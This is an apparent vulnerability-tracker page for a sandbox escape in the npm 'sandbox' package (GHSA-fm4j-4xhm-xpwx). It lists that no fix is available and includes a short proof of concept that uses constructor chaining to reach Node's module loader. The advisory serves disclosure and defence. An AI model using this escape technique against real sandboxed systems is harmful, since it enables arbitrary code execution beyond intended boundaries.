Read the docs
TI-2020-19501 Aliases GHSA-fm4j-4xhm-xpwx

Sandbox Breakout / Arbitrary Code Execution in sandbox

Priority LOW 38Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
—
Confidentiality · integrity · availability
—
Fix status
No fix listed

No CVSS vector from any source. Fix status from GitHub.

Summary

All versions of `sandbox` through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors. ## Proof of concept ``` var Sandbox = require("sandbox") s = new Sandbox() code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")` s.run(code) ``` ## Recommendation No fix is currently available. Consider using an alternative module until a fix is made available.

Why it matters now

Fix No fix listed No fixed version in the sources yet

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—sandbox (npm)0.0.0 and later—No fix listedGHSA-fm4j-4xhm-xpwx
  • sandbox (npm) Vendor— Affected 0.0.0 and later Fixed in — No fix listed GHSA-fm4j-4xhm-xpwx

Remediation

No fixed version listed by the sources yet.

Timeline

  1. 2026-10-03 Threatist record created from GHSA-fm4j-4xhm-xpwx

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences